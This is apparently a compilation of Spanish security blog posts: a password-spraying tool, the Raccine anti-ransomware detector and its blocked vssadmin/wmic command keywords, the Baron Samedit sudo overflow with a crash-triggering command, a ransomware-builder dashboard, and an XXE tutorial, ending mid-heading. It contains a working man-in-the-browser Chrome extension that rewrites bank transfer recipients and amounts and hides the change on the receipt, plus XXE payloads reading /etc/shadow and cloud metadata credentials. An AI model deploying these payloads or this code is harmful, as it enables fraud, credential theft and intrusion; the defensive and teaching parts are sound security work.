Tal y como rezan en su Github incorporan las siguientes funcionalidades:

• previene el bloqueo de usuarios del dominio
• integra la enumeración de nombres de usuario con el proceso de spray de contraseñas (ambas son funcionalidades separadas)
• capacidad de hacer spray de contraseñas de forma recursiva en lugar de ejecutar un simple spray
• puede hacer resume/continuar el ataque e ignora las cuentas previamente comprometidas
  

Tritium permite lo mencionado anteriormente y más. Por ejemplo la enumeración de usuarios ya no desperdiciará un intento de login previo porque lo usará para generar un archivo de usuarios válidos. Tritium también le da al usuario la capacidad de pasarle un archivo de contraseñas para hacer spray de forma recursiva. Y sobretodo tiene la funcionalidad como comentábamos de que detecta si un dominio está bloqueando cuentas al guardar el estado y detiene el ataque si se bloquean 3 cuentas consecutivas.

Repo: https://github.com/S4R1N/Tritium
Instalación: go get S4R1N/Tritium

Uso:

 ./Tritium -h

        ___________      .__  __  .__               
        \__    ___/______|__|/  |_|__|__ __  _____  
          |    |  \_  __ \  \   __\  |  |  \/     \ 
          |    |   |  | \/  ||  | |  |  |  /  Y Y  \
          |____|   |__|  |__||__| |__|____/|__|_|__/ v 0.4


          Author: S4R1N, alfarom256



 Required Params:

 -d            The full domain to use (-domain targetdomain.local)
 -dc           Domain controller to authenticate against (-dc washingtondc.targetdomain.local)
 -dcf          File of domain controllers to authenticate against 
 -u            Select single user to authenticate as (-user jsmith) 
 -uf           User file to use for password spraying (-userfile ~/home/users.txt)
 -p            Password to use for spraying (-password Welcome1)

 Optional: 

 -help         Print this help menu
 -o            Tritium Output file (default spray.json)
 -w            Wait time between authentication attempts [Default 1] (-w 0)    
 -jitter       % Jitter between authentication attempts      
 -rs           Enable recursive spraying 
 -ws           Wait time between sprays [Default 3600] (-ws 1800)
 -pwf          Password file to use for recursive 
 -res          Continue a password spraying campaign
 -rf           Tritium Json file 

Muchas familias de ransomware intentan mediante vssadmin borrar todas las shadow copies del sistema, ya sabéis, las instantáneas que va tomando Windows para poder volver a un punto de restauración en caso necesario. Es decir, intentan que la víctima no pueda tirar de ningún backup. ¿Qué pasaría si pudiéramos interceptar ese intento y terminar el proceso que lo invoca? Pues esto es lo que hace la herramienta Raccine del archifamoso Florian Roth aka Neo23x0.

Funcionamiento

• Se intercepta la llamada a vssadmin.exe (y wmic.exe) y se pasa a raccine.exe como debugger (vssadmin.exe delete shadows se convierte en raccine.exe vssadmin.exe delete shadows)
• Luego se procesan los argumentos de la línea de comandos y se buscan combinaciones maliciosas usando reglas de Yara.
• Si no se puede encontrar una combinación maliciosa, se crea un nuevo proceso con los parámetros originales de la línea de comandos.
• Si se encuentra una combinación maliciosa, se recopilan todos los PID de los procesos principales y comienza a matarlos. Raccine muestra una ventana de línea de comandos con los PID eliminados durante 5 segundos, lo loggea en el registro de eventos de Windows y luego sale.
  

Ventajas:

• El método es bastante genérico.
• No tenemos que reemplazar un archivo de sistema (vssadmin.exe o wmic.exe), lo que podría ocasionar problemas de integridad y podría romper nuestra vacuna cada vez que se parchee
• Permite usar reglas YARA para buscar parámetros maliciosos en la línea de comandos
• Los cambios son fáciles de deshacer
• Se ejecuta en Windows 7/Windows 2008 R2 o superior
• No se requiere un ejecutable en ejecución o un servicio adicional (sin agente)
  

Desventajas/Puntos ciegos

• El uso legítimo de vssadmin.exe para eliminar shadow copies (o cualquier otra combinación blacklisteada) ya no es posible
• Elimina todos los procesos que intentaron invocar vssadmin.exe, lo que podría ser un proceso de copia de seguridad (falso positivo)
• Esto no detectará métodos en los que el proceso malicioso no sea uno de los procesos en el árbol que ha invocado vssadmin.exe (por ejemplo, a través de schtasks)
  

Combinaciones maliciosas:

• delete y shadows (vssadmin, diskshadow)
•  resize y shadowstorage (vssadmin)
• delete y shadowstorage (vssadmin)
• delete y shadowcopy (wmic)
• delete y catalog y -quiet (wbadmin)
• win32_shadowcopy o element de una lista de conandos encodeados (powershell)
• recoveryenabled (bcedit)
• ignoreallfailures (bcedit)
  

Lista de Powershell de comandos encodeados: JAB, SQBFAF, SQBuAH, SUVYI, cwBhA, aWV4I, aQBlAHgA y muchos más

Ejemplos de uso

Emotet sin Raccine - Link

Emotet con Raccine - Link (ignorar la actividad del proceso que está relacionada con la instalación de Raccine)

La infección se corta de raíz.

Detalles de la instalación y más info en: https://github.com/Neo23x0/Raccine

Ya sabéis que un ataque man-in-the-middle (MiTM) el atacante intercepta el tráfico de la víctima, lo que le permite robar la información no protegida y manipular las respuestas. Sin embargo hoy vamos a ver los ataques man-in-the-browser (MitB) que se sitúan entre la víctima y su navegador. Normalmente lo suele implementar malware bancario y extensiones del navegador maliciosas ya que las protecciones como TLS y el segundo factor de autenticación no tienen ningún efecto contra ellos.

El agente de MitB espera hasta que la víctima visite un sitio web relevante y, cuando envía un formulario para realizar un nuevo pago, el agente cambia los valores enviados. Esto significa que en lugar de enviar, digamos, $1000 a un amigo, la víctima termina enviando $10,000 al atacante.

La principal mitigación contra estos ataques MiTB es utilizar mecanismos de autenticación "fuera de banda" en inglés out-of-band (OOB), es decir, utilizar otro medio externo al propio navegador del usuario como un SMS, si bien hay que tener en cuenta que también existe malware man-in-the-mobile (MitMo) en el teléfono móvil... xD

Un ejemplo práctico de un troyano que utiliza MitB

Una cadena de infección típica que incorpora un troyano que intentará realizar transacciones fraudulentas manipulando DOM es la siguiente:

1. El troyano infecta el software de la computadora, ya sea el sistema operativo o la aplicación.
2. El troyano instala una extensión en el navegador maliciosa para que se cargue la próxima vez que se inicie el navegador.
3. Más tarde, el usuario reinicia el navegador.
4. El navegador carga la extensión.
5. La extensión registra un controlador para cada carga de página.
6. Siempre que se carga una página, la extensión busca la URL de la página en una lista de sitios conocidos que son objeto de un ataque.
7. El usuario inicia sesión de forma segura en, por ejemplo, https://www.banco.site/.
8. Cuando el controlador detecta una carga de página para un patrón específico en su lista de destino (por ejemplo, https://www.banco.site/cuenta/FormularioPago), registra un controlador de eventos de botón.
9. Cuando se presiona el botón enviar, la extensión extrae todos los datos de todos los campos del formulario a través de la interfaz DOM en el navegador y recuerda los valores.
10. La extensión modifica los valores a través de la interfaz DOM.
11. La extensión le dice al navegador que continúe enviando el formulario al servidor.
12. El navegador envía el formulario, incluidos los valores modificados, al servidor.
13. El servidor recibe los valores modificados en el formulario como una solicitud normal. El servidor no puede diferenciar entre los valores originales y los valores modificados, ni detectar los cambios.
14. El servidor realiza la transacción y genera un recibo.
15. El navegador recibe el recibo de la transacción modificada.
16. La extensión detecta la URL https://www.banco.site/cuenta/confirmar, escanea el HTML en busca de los campos del recibo y reemplaza los datos modificados en el recibo con los datos originales que recordaba en el HTML.
17. El navegador muestra el recibo modificado con los detalles originales.
18. El usuario cree que la transacción original fue recibida por el servidor intacta y autorizada correctamente.
    

Un ejemplo de extensión maliciosa

Para el ejemplo vamos a ver el código de una sencilla extensión maliciosa para  Chrome. 

Chrome admite extensiones escritas en JavaScript y HTML (distribuidas como un único archivo zip). Un pequeño número de extensiones también incluyen complementos de código binario, aunque están sujetos a un proceso de revisión de seguridad manual. 

Cada extensión contiene un manifiesto (obligatorio) que, junto con otros parámetros de extensión, describe los permisos que utiliza la extensión y la lista de recursos que debe cargar el navegador.

Manifest.json

El archivo de manifiesto contiene los metadatos sobre la extensión y el navegador lo utiliza para cargar los archivos necesarios y establecer los permisos. El archivo de manifiesto proporcionado solicita permiso para acceder a las pestañas abiertas y se ejecutará en cualquier dominio "http".

{
"name": "MiTB",
"version": "1.0",
"description": "PoC Man-in-the-Browser",
"manifest_version": 2,
"permissions": [
"tabs",
"http://*/*"
    ],
"background": {
"scripts": ["background.js"],
"persistent": true
    },
"content_scripts": [{
"matches": ["http://*/*"],
"js": ["content.js"]
    }]
}

Script en background 

El navegador carga inmediatamente y ejecuta un script en background. La opción "persistent" indicada en el manifest hace que el script se esté ejecutando constantemente.

let DestinatarioOriginal = '';
let CantidadOriginal = '';

let DestinatarioReemplazado = <número de cuenta>;
let CantidadReemplazada = <cantidad en euros>;

browser.runtime.onMessage.addListener(
    function(message, sender, sendResponse) {
        if(message.action == 'ObtenerDestinatario') {
            // Devuelve el valor de DestinatarioReemplazado a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'Destinatario', data: DestinatarioReemplazado});
            });
        } else if(message.action == 'ObtenerCantidad') {
            // Devuelve el valor de CantidadReemplazada a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'Cantidad', data: CantidadReemplazada});
            });
        } else if(message.action == 'setDestinatarioOriginal') {
            // Setea el valor de DestinatarioOriginal desde el valor del mensaje
            browser.tabs.query({active: true, currentWindow: true},  function(tabs) {
                DestinatarioOriginal = message.data;
            });
        } else if(message.action == 'setCantidadOriginal') {
            // Setea el valor de CantidadOriginal desde el valor del mensaje
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                CantidadOriginal = message.data;
            });
        } else if(message.action == 'ObtenerDestinatarioOriginal') {
            // Devuelve el valor de DestinatarioOriginal a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'DestinatarioOriginal', data: DestinatarioOriginal});
            });
        } else if(message.action == 'ObtenerCantidadOriginal') {
            // Devuelve el valor de CantidadOriginal a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'CantidadOriginal', data: CantidadOriginal});
            });
        }
    }
);

Content script

El script de contenido se inyecta en la páginas web cargada por el navegador, lo que significa que se ejecuta en la página de contexto y pueden acceder y manipular el modelo de objetos de documento (DOM). 

Este script se encarga de extraer y sobrescribir la entrada del usuario, que luego se pasa al script en background para su almacenamiento y, posteriormente, su recuperación.

let url = window.location.href;
let DestinatarioReemplazado = null;
let CantidadReemplazada = null;
let CantidadOriginal = null;
let DestinatarioOriginal = null;

// Maneja los mensajes de background.js
browser.runtime.onMessage.addListener(function(request) {
    if(request.variable == 'Destinatario') {
        DestinatarioReemplazado = request.data;
    } else if(request.variable == 'Cantidad') {
        CantidadReemplazada = request.data;
    } else if(request.variable == 'DestinatarioOriginal') {
        DestinatarioOriginal = request.data;
    } else if(request.variable == 'CantidadOriginal') {
        CantidadOriginal = request.data;
    }
});

// Obtiene la info del objetivo desde background.js
browser.runtime.sendMessage({action: 'ObtenerDestinatario'});
browser.runtime.sendMessage({action: 'ObtenerCantidad'});

if(url.search('/cuenta') > -1) {
    // Página de la cuenta a modificar
    let form = document.getElementById('FormularioPago');

    form.addEventListener('submit', function(e) {
        // Intercepta el envío del formulario y modifica los valores ingresados por el usuario
        e.preventDefault();

        //  Obtiene los elementos que contienen la información de la transacción (cantidad y número de cuenta del destinatario)
        let Destinatario = document.getElementById('Destinatario');
        let Cantidad =  document.getElementById('Cantidad');

        // Almacena los valores originales del usuario
        browser.runtime.sendMessage({action: 'setDestinatarioOriginal', data: Destinatario.value});
        browser.runtime.sendMessage({action: 'setCantidadOriginal', data: Cantidad.value});

        // Cambio de los valores del formulario de pago para modificar la transacción
        Destinatario.value = <número de cuenta>;
        Cantidad.value = <cantidad en euros>;

        e.target.submit();
    });
} else if(url.search('/confirmar') > -1) {
    // Obtiene los valores originales del usuario de background.js
    browser.runtime.sendMessage({action: 'getDestinatarioOriginal'});
    browser.runtime.sendMessage({action: 'getCantidadOriginal'});
    // Obtiene los elementos de span que contienen la información de la transacción que se muestra al usuario para verificar la transacción.
    let DestinatarioElement = document.getElementById('PagoDestinatario');
    let CantidadElement = document.getElementById('PagoCantidad');

    // Actualiza el contenido de la página para ocultar los valores modificados al usuario
    setTimeout(function() {
        DestinatarioElement.innerHTML = DestinatarioOriginal;
        CantidadElement.innerHTML = CantidadOriginal;
    }, 100);
}

• https://owasp.org/www-community/attacks/Man-in-the-browser_attack
• https://doubleoctopus.com/security-wiki/threats-and-tools/man-in-the-browser-attack/
• https://sectigostore.com/blog/a-man-in-the-browser-attack-what-it-is-how-to-prevent-it/
• https://www.hypr.com/man-in-the-browser-attack/
• https://www.sans.org/reading-room/whitepapers/forensics/analyzing-man-in-the-browser-mitb-attacks-35687
• https://kjaer.io/extension-malware/
• https://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-look-into-malicious-browser-extensions/
• https://www.icir.org/vern/papers/hulk-usesec14.pdf
  

-------------------------------------------------------------------- 
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
572         char **av, *cmnd = NULL; 
573         int ac = 1; 
... 
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2); 
... 
587             for (av = argv; *av != NULL; av++) { 
588                 for (src = *av; *src != '\0'; src++) { 
589                     /* quote potential meta characters */ 
590                     if (!isalnum((unsigned char)*src) && *src != '_'&& *src != '-'&& *src != '$') 
591                         *dst++ = '\\'; 
592                     *dst++ = *src; 
593                 } 
594                 *dst++ = ''; 
595             } 
... 
600             ac += 2; /* -c cmnd */ 
... 
603         av = reallocarray(NULL, ac + 1, sizeof(char *)); 
... 
609         av[0] = (char *)user_details.shell; /* plugin may override shell */ 
610         if (cmnd != NULL) { 
611             av[1] = "-c"; 
612             av[2] = cmnd; 
613         } 
614         av[ac] = NULL; 
615  
616         argv = av; 
617         argc = ac; 
618     } 
--------------------------------------------------------------------- 

 Más tarde, en sudoers_policy_main(), set_cmnd() concatena los argumentos de la línea de comandos en un búfer del heap "user_args" (líneas 864-871) y elimina el escape de los metacaracteres (líneas 866-867), para que case con el sudoers y loggear correctamente:

--------------------------------------------------------------  
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
852             for (size = 0, av = NewArgv + 1; *av; av++) 
853                 size += strlen(*av) + 1; 
854             if (size == 0 || (user_args = malloc(size)) == NULL) { 
... 
857             } 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
... 
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 
865                     while (*from) { 
866                         if (from[0] == '\\'&& !isspace((unsigned char)from[1])) 
867                             from++; 
868                         *to++ = *from++; 
869                     } 
870                     *to++ = ''; 
871                 } 
... 
884             } 
... 
886     } 
--------------------------------------------------------------------- 

• en la línea 866, "from[0]" es el carácter "\" y "from[1]" es un null (es decir, no un carácter de espacio)
• en la línea 867, "from" se incrementa y apunta a null
• en la línea 868, null se copia al búfer "user_args", y "from" se incrementa nuevamente y apunta al primer carácter después del null (es decir, fuera de los límites del argumento);
• el loop "while" en las líneas 865-869 lee y copia los caracteres fuera de los límites en el búfer "user_args".

--------------------------------------------------------------------- 
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
--------------------------------------------------------------------- 

--------------------------------------------------------------------- 
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
--------------------------------------------------------------------- 

--------------------------------------------------------------------- 
358                 case 'e': 
... 
361                     mode = MODE_EDIT; 
362                     sudo_settings[ARG_SUDOEDIT].value = "true"; 
363                     valid_flags = MODE_NONINTERACTIVE; 
364                     break; 
... 
416                 case 'l': 
... 
423                     mode = MODE_LIST; 
424                     valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 
425                     break; 
... 
518     if (argc > 0 && mode == MODE_LIST) 
519         mode = MODE_CHECK; 
... 
532     if ((flags & valid_flags) != flags) 
533         usage(1); 
---------------------------------------------------------------------

--------------------------------------------------------------------- 
127 #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
249     int valid_flags = DEFAULT_VALID_FLAGS; 
... 
267     proglen = strlen(progname); 
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 
269         progname = "sudoedit"; 
270         mode = MODE_EDIT; 
271         sudo_settings[ARG_SUDOEDIT].value = "true"; 
272     } 
------------------------------------------------------------------------ 

--------------------------------------------------------------------- 
sudoedit -s '\' `perl -e 'print "A" x 65536'` 
malloc(): corrupted top size 
Aborted (core dumped) 
---------------------------------------------------------------------

--------------------------------------------------------------------- 
env -i 'AA=a\''B=b\''C=c\''D=d\''E=e\''F=f' sudoedit -s '1234567890123456789012\'
--------------------------------------------------------------------- 

--|--------+--------+--------+--------|--------+--------+--------+--------+-- 
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| 
--|--------+--------+--------+--------|--------+--------+--------+--------+-- 

              size  <---- user_args buffer ---->  size      fd       bk 

Vídeo con la PoC

Fuente: https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

Bapho-Dashboard es un proyecto de @Chungo_0 que nos permite levantar una plataforma web que puede generar ejecutables del ransomware Baphomet. 

Bapho-Dashboard nos facilita todo a la hora de crear un ransomware ya que mediante su interfaz gráfica podemos pasar parámetros como el tipo de extensión a cifrar, procesos que deseamos matar, directorios a cifrar y añadir lista de los hosting a donde el ransomware enviará la data. También podemos manejar la data de los equipos infectados, descifrar la clave simétrica que cifra los archivos y entre otras muchas cosas.

Bapho-Dashboard está escrito en C# bajo net core 3.1. Esta plataforma cuenta con muchas características que nos ayudan a la hora de manejar un equipo infectado, mostrándonos su ubicación en un mapa gráfico, cantidad de equipos infectados, grafica de las versiones mas afectadas, posibles vulnerabilidades dependiendo de la versión del equipo, etc.

¿Como funciona el ransomware Baphomet?

El ransomware Baphomet es un proyecto de código abierto disponible en github, el cual esta escrito en C# bajo Net Core application. Este Ransomware fue basado en Hidden tear otro ransomware publico que fue subido a github el 2015. Baphomet tiene muchas mas funcionalidades y es mas peligroso que Hidden tear, debido a que este utiliza el cifrado híbrido (Para más información sobre cifrado simétrico, asimétrico e híbrido visiten el link donde hablo de esto link: https://hackingpills.blogspot.com/2019/11/tipos-de-cifrados-cual-debo-usar.html).

Bien como dice en el post de HackingPills, el cifrado híbrido consiste en cifrar la clave simétrica con la cual se cifran los archivos de una victima haciendo uso de RSA, con esto quiere decir que para recuperar los datos cifrados se necesitará la clave privada RSA para descifrar la clave con la cual se cifró cada uno de los archivos, y la clave privada solo la tendrá el atacante debido a que esta se genera con la llave publica cuando generamos el ransomware. Baphomet cuenta con varias funcionalidades las cuales dejo a continuación.

• Cifrado hibrido
• Cifra los archivos haciendo uso de AES
• Podemos decirle que procesos buscar y matar para cifrar un mayor número de archivos
• Detecta equipos USB conectados para auto copiarse en ellos
• Hace una pequeña prueba de conexión a internet para saber si se pueden enviar los datos.
• Obtiene los siguientes datos de sus victima:
• Nombre del equipo
• Versión
• Hostname
• Ciudad, región, código postal y sus coordenadas
• IP publica
  

Podemos añadir mas de un hosting para tener redundancia al momento de enviar la data de la víctima.

• Extensiones que deseamos cifrar
• Directorios que el ransomware va a recorrer
• Lista de Hosting a los cuales enviaremos la data
• Procesos que vamos a mater en caso de que estén corriendo en el sistema.
  

Cuando generamos el ransomware Bapho-Dashboard genera las llaves RSA, una publica y una privada, ambas se guardan en la base de datos junto con el nombre y la descripción del ransomware generado, pero la llave publica será escrita en el código del ransomware, debido a que esta será la encargada de cifrar la clave que se genera para cifrar los archivos, por lo tanto, la victima nunca podrá obtener la clave simétrica a menos que tenga la llave privada RSA.  Cuando la victima ejecuta el ransomware a esta se le creara un archivo llamado secretkey.key, ese archivo se le debe de enviar al atacante para que el atacante lo suba a Bapho-Dashboard y este se encargue de descifrarla buscando en su base de datos la llave privada que pertenezca a la llave publica con la cual se cifro dicho archivo (secretkey.key). Una vez el atacante obtiene la llave simétrica en texto plano esta pasa a generar un ejecutable el cual llevara la llave en el código para que la victima pueda recuperar sus datos.

Otra función de esta plataforma es que podemos jalar la data de las víctimas que se encuentra en los servidores hosting, Baphodashboard se encarga de leer la data de estos hostings para luego descargarla y guardarla en su base de datos, de esta manera la muestra de manera gráfica.

Enlace para ver una demostración de cómo generar el ransomware.
https://lbry.tv/@HackingPills:c/BaphoDashBoard-Generate-Ransomware-Tool:6?r=2FfhiGAXcxqD1V7dnpaZYmDo3gmSz6pw

Enlace para ver una demostración de cómo se recuperan los datos.
https://open.lbry.com/@HackingPills:c/BaphoDashboard---Decrypt-files-part-2:f?r=2FfhiGAXcxqD1V7dnpaZYmDo3gmSz6pw

Enlace para saber mas sobre el uso de Bapho-Dashboard.
https://www.patreon.com/HackingPills

GitHub del proyecto: https://github.com/Sh4rk0-666/BaphoDashBoard

Redes:
Twitter: https://twitter.com/Chungo_0
YouTube: https://www.youtube.com/channel/UCjcoke6c9_oXlc4d3dN9RUg
GitHub : https://github.com/Sh4rk0-666

El 16 de junio de 2008 comencé con la idea de escribir un blog de hacking y seguridad informática en castellano y después de todos estos años y de más de 2000 entradas escritas nadie podrá decir que Hackplayers no es una verdadera historia de perseverancia, perseverancia a hombros de gigantes, esos amigos con las que he tenido y sigo teniendo la suerte de poder colaborar y compartir conocimientos e inquietudes, pues ser inquietos y tener pensamiento lateral nos hace hackers sin miedo al término. ¿Por qué no?

Los que seguís el blog desde hace tiempo sabéis que el número de entradas ha disminuido, por un lado porque no he podido encontrar un grupo de autores que persistan como con mi cabezonería, y por otro porque los que nos hemos juntado hemos puesto foco en otras actividades. Hemos creado herramientas y retos, jugado CTFs, asistido y participado en otros congresos y comunidades (más cuántas risas y cervezas cayeron no se sabe) y organizado nuestra propia Con con trabajo y humildad con h.

Por eso os insto a seguir participando, a escribir posts y a sumar en este viejo blog al que le hecho un pequeño lavado de cara, con una plantilla de blogger adaptable y actualizada. La que estáis viendo ahora.

https://www.hackplayers.com/p/participa.html

Las inyecciones de entidad externa XML (XXE) son un tipo de vulnerabilidades que se han hecho muy populares en los últimos años, de hecho ahora forma parte del Top 10 de OWASP en el punto A4. 

Básicamente se trata de un tipo de ataque contra una aplicación que analiza la entradas XML. A grandes rasgos, los DTD (Document Type Definition) se utilizan para definir la estructura de un documento XML y dentro de las mismas se pueden declarar entidades XML. 

Existe un tipo especial de entidades XML llamadas "entidades externas", que se utilizan para acceder a contenido local o remoto con una URL. 

Por ejemplo, esta DTD declara una entidad externa denominada "file" que apunta a file:///secrets.txt en el sistema de archivos local. El parser XML reemplazará cualquier referencia en el documento con el contenido de file:///secrets.txt.

<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE example [
<! ENTITY file SYSTEM "file: ///secrets.txt">
]>
<example> & file; </example>

Si los usuarios pueden declarar entidades XML arbitrariamente en sus cargas, pueden declarar una entidad externa a cualquier ubicación de su máquina. 

Por ejemplo, este archivo XML contiene una entidad externa que apunta a file:////etc/shadow en su servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:////etc/shadow">
]>
<example>&file;</example>

Cuando se documento XML sea mostrado/parseado mostrará el fichero shadow del sistema. 

De XXE a SSRF 

Además de leer archivos del sistema, los atacantes pueden utilizar las vulnerabilidades XXE para lanzar ataques SSRF contra la red local. Por ejemplo, pueden iniciar un escaneo de puertos cambiando la URL de la entidad externa con diferentes puertos en el servidor. Con esta técnica, se pueden escanear la red local para encontrar otras máquinas o servicios vulnerables a los que apuntar.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://10.0.0.1:80">
]>
<example>&file;</example>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<example>&file;</example>

Denegación de servicio 

Otra opción es provocar denegaciones de servicio mediante XXE. Por ejemplo, mediante el siguiente XML esta DTD incrusta entidades dentro de entidades, lo que hace que el parser XML desreferencie de forma recursiva hasta llegar al valor de entidad "/"

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE example [<!ELEMENT example ANY ><!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><example>&lol9;</example>

Cada entidad "lol9" se expandiría en diez "lol8", y cada una de ellas se convertiría en diez "lol7", y así sucesivamente. Eventualmente, un "lol9" se expandirá a mil millones de "lol"s. Esto sobrecargará la memoria del parser XML, lo que podría provocar que se bloquee. Este método de ataque se denomina "ataque de mil millones de risas" o "bomba XML". Curiosamente, aunque este ataque a menudo se clasifica como un ataque XXE, ¡no implica el uso de entidades externas! En su lugar, utiliza el procesamiento recursivo de entidades internas. 

Lo que si sería un ataque más sencillo pero a veces efectivo sería intentar leer un archivo potencialmente interminable, como por ejemplo:

<!ENTITY xxe SYSTEM "file:///dev/random">]>

Normas generales a tener en cuenta por los desarrolladores contra XXE 

Como con la mayoría de las vulnerabilidades, la formación de los desarrolladores es fundamental para identificar y mitigar XXE.

Luego, la mejor manera de prevenir XXE es limitar las capacidades de sus parsers XML. Dado que el procesamiento DTD es un requisito para los ataques XXE, los desarrolladores deben deshabilitar el procesamiento DTD en sus parsers XML si fuera posible. 

Si es imposible deshabilitar las DTD por completo, entonces se deben deshabilitar las entidades externas, las entidades de parámetros y las DTD inline. También puede deshabilitar la expansión de entidades XML por completo. La forma en que puede configurar el comportamiento de un parser XML dependerá del parser XML que se utilice. 

También y dentro del marco de desarrollo seguro otras recomendaciones para prevenir XXE serían: 

• Siempre que sea posible, utilizar formatos de datos menos complejos, como JSON, y evitar la serialización de datos confidenciales. 
• Parchear o actualizar todos los procesadores XML y las librerías que utilizan la aplicación o el sistema operativo. 
• Utilizar comprobadores de dependencias. 
• Actualizar SOAP a SOAP 1.2 o superior. 
• Deshabilitar la entidad externa XML y el procesamiento DTD en todos los parsers XML de la aplicación, según el cheat sheet de OWASP 'Prevención XXE'. 
• Implementar whitelisting del lado del servidor para evitar datos maliciosos en documentos XML, headers o nodos. 
• Verificar que la funcionalidad de carga de archivos XML o XSL valida el XML entrante mediante la validación XSD o similar. 
• Las herramientas SAST pueden ayudar a detectar XXE en el código fuente, aunque la revisión manual del código es la mejor alternativa en aplicaciones grandes y complejas con muchas integraciones. 
• Si estos controles no son posibles, considerar usar virtual patching, firewalls de aplicaciones web (WAF) o herramientas de pruebas de seguridad de aplicaciones interactivas (IAST) para detectar, monitorizar y bloquear ataques XXE. 
• Mantener las librerías actualizadas No son solo hay que estar pendientes de los parsers XML. Muchas librerías de terceros se ocupan de XML y, por lo tanto, son susceptibles a ataques XXE. Es indispensable que sus dependencias estén a salvo de ataques XXE y actualice las bibliotecas a versiones seguras 
  

Prevención de XXE en C/C++ 

Para protegerse contra las vulnerabilidades XXE en C/C++, Enum xmlParserOption no debe tener las siguientes opciones definidas dentro de su configuración: 

• XML_PARSE_NOENT: esta opción amplía las entidades y luego las sustituye con texto de reemplazo, que es donde los atacantes pueden insertar código malicioso. 
• XML_PARSE_DTDLOAD: esta opción permite llamar y ejecutar DTD, las mencionadas entidades externas. 

C/C++ libxerces-c 

También se recomienda ysar XercesDOMParser para prevenir XXE:

XercesDOMParser "parser = new XercesDOMParser;
parser->setCreateEntityReferenceNodes(false);

SAXParser "parser = new SAXParser";
parser->setDisableDefaultEntityResolution(true);

SAX2XMLReader "reader = XMLReaderFactory::createXMLReader();
parser->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);

Prevención de XXE en Java 

Las aplicaciones Java son particularmente propensas a XXE porque la mayoría de los parsers XML de Java tienen los requisitos para XXE habilitados de forma predeterminada. 

Para evitar ataques XXE en una aplicación Java, se debe deshabilitar explícitamente estas funcionalidades. 

DocumentBuilderFactory 

Por ejemplo, con la librería DocumentBuilderFactory se puede denegar DTD con esta línea:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

El código necesario para proteger a los parsers de XXE varía para los diferentes analizadores Java XML. Para obtener más información sobre cómo proteger varios parsers, se recomienda echar un ojo a la hoja de referencia de OWASP aquí. 

Prevención de XXE en .NET

